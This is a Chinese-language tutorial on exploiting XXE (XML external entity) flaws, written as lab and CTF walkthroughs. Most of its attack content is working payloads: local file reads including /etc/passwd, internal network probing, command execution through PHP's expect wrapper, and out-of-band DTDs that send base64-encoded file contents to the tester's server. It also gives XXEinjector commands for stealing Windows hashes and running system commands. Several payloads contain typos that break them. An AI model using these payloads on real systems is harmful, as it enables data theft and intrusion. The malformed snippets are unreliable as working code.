【XXE&XML】---利用檢測繞過全解---day39
一、思維導圖
二、基本概念
1、XML介紹
2、XML與HTML的主要差異
3、XML示例
<!--文檔類型定義-->
<!DOCTYPE note [ <!--定義此文檔時note類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素為"#PCDATA"類型-->
<!ELEMENT from (#PCDATA)> <!--定義from元素為"#PCDATA"類型-->
<!ELEMENT head (#PCDATA)> <!--定義head元素為"#PCDATA"類型-->
<!ELEMENT body (#PCDATA)> <!--定義body元素為"#PCDATA"類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
三、案例演示
1、pikachu靶場XML數據傳輸測試-回顯,玩法,協議,引入
- 打開靶場
- 玩法-讀文件
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
前提是d盤要存在那個文件。
復制到輸入框,提交。
直接就讀取到了。可以看出這就是有回顯的文件利用的一個攻擊。
- 玩法-內網探針或攻擊內網應用(觸發漏洞地址)
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.xxx.xxx:80/index.txt">
]>
<x>&rabbit;</x>
上面的ip地址假設就是內網的一台服務器的ip地址。還可以進行一個端口掃描,看一下端口是否開放。
- 玩法-RCE
該CASE是在安裝expect擴展的PHP環境里執行系統命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
id是對於的執行的命令。實戰情況比較難碰到。
①引入外部實體DTD
DTD是一個格式文件,下面的思路就是去引用一個xml的格式文件,相當於會把DTD里面的代碼當做XML來執行,所以可以在DTD文件里寫上想要執行的代碼。一般用來繞過WAF或過濾。
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
%file;
]>
<x>&send;</x>
//下面的是寫入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
條件:看對方的應用有沒有禁用外部實體引用,這也是防御XXE的一種措施。
②無回顯-讀取文件
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;
上面的url一般是自己的網站,通過第一步訪問文件,然后再訪問dtd文件,把讀取到的數據賦給data,然后我們只需要再自己的網站日志,或者寫個php腳本保存下來,就能看到讀取到的文件數據了。
③協議-讀文件(繞過)
參考:
https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM
"php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&x;</x>
2、XXE-lab靶場登錄框xml數據傳輸測試-檢測發現
隨便發個包,用bp爬行一下網站結構。搜索xml類型的請求,
說明數據包在傳輸數據的時候,采用的是XML的數據格式,符合xxe漏洞的條件。
①檢測發現:
1、提交的數據包含XML格式如:
<forgot><username>admin</username></forgot>
2、請求頭中如:
Content-Type: text/xml或Content-type:application/xml
<?xml version="1.0"?>
<!DCOTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
提交payload,在xml的那個數據包中。
3、CTF-Jarvis-OJ-Web-XXE安全真題復現-數據請求格式
http://web.jarvisoj.com:9882/
更改請求數據格式:c
<?xml version= = "1.0"? >
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
點擊Go,抓包
數據傳輸形式是采用json數據格式來提交傳輸的。通過修改數據格式來攻擊,形成XXE漏洞。
4、CTF-Vulnhub-XXE安全真題復現-檢測,利用,拓展,實戰
掃描IP及端口->掃描探針目錄->抓包探針XXE安全->利用XXE讀取源碼->flag指向文件->base32 64解密->php運行->flag
www.vulnhub.com
環境:
https://download.vulnhub.com/xxe/XXE.zip
下載使用
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
下載后,需要在虛擬機中打開,但是不會告訴你用戶名和密碼,怕讓知道以后,都不用攻擊了。攻擊機我們選擇Ninjutsu os。
對這個ip地址進行掃描:
所以說目標主機就是192.168.79.133,訪問:
可以用掃目錄工具掃:
試着訪問xxe
登錄,抓包
上傳payload,攻擊
然后base64解密就可以了
往下翻發現了用戶名和密碼
密碼是md5解密后的
https://cmd5.com 解密
得到用戶名和密碼,嘗試登錄,注意此時的url
登錄后:
點擊Flag
打不開,說明XXE漏洞就在這里藏着,那么咱們還是抓包讀取flagmeout.php這個文件。
解密后
得到括號里那一串,那個是base32的加密。
解碼之后又是base64!!.......再解碼
又來一個flag.php,心態崩了,擱這兒套娃呢。繼續讀這個文件,然后base64解密,出來下面這一串鬼,看不懂。但是應該是php代碼。找個在線php運行網址,運行一下看看。
運行之后:
5、XXE安全漏洞自動化注射腳本工具--XXEinjector(Ruby)
工具下載地址:
https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjoker/p/9614990.html
工具使用:
--host 必填項– 用於建立反向鏈接的IP地址。(--host=192.168.0.2)
--file 必填項- 包含有效HTTP請求的XML文件。(--file=/tmp/req.txt)
--path 必填項-是否需要枚舉目錄 – 枚舉路徑。(--path=/etc)
--brute 必填項-是否需要爆破文件 -爆破文件的路徑。(--brute=/tmp/brute.txt)
--logger 記錄輸出結果。
--rhost 遠程主機IP或域名地址。(--rhost=192.168.0.3)
--rport 遠程主機的TCP端口信息。(--rport=8080)
--phpfilter 在發送消息之前使用PHP過濾器對目標文件進行Base64編碼。
--netdoc 使用netdoc協議。(Java).
--enumports 枚舉用於反向鏈接的未過濾端口。(--enumports=21,22,80,443,445)
--hashes 竊取運行當前應用程序用戶的Windows哈希。
--expect 使用PHP expect擴展執行任意系統命令。(--expect=ls)
--upload 使用Java jar向臨時目錄上傳文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入測試。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定義HTTP端口。(--httpport=80)
--ftpport 設置自定義FTP端口。(--ftpport=21)
--gopherport 設置自定義gopher端口。(--gopherport=70)
--jarport 設置自定義文件上傳端口。(--jarport=1337)
--xsltport 設置自定義用於XSLT注入測試的端口。(--xsltport=1337)
--test 該模式可用於測試請求的有效。
--urlencode URL編碼,默認為URI。
--output 爆破攻擊結果輸出和日志信息。(--output=/tmp/out.txt)
--timeout 設置接收文件/目錄內容的Timeout。(--timeout=20)
--contimeout 設置與服務器斷開連接的,防止DoS出現。(--contimeout=20)
--fast 跳過枚舉詢問,有可能出現結果假陽性。
--verbose 顯示verbose信息。
使用樣例:
枚舉HTTPS應用程序中的/etc目錄:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚舉/etc目錄:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP帶外方法和netdoc協議對文件進行爆破攻擊:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通過直接性漏洞利用方式進行資源枚舉:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚舉未過濾的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
竊取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上傳文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect執行系統指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
測試XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
記錄請求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt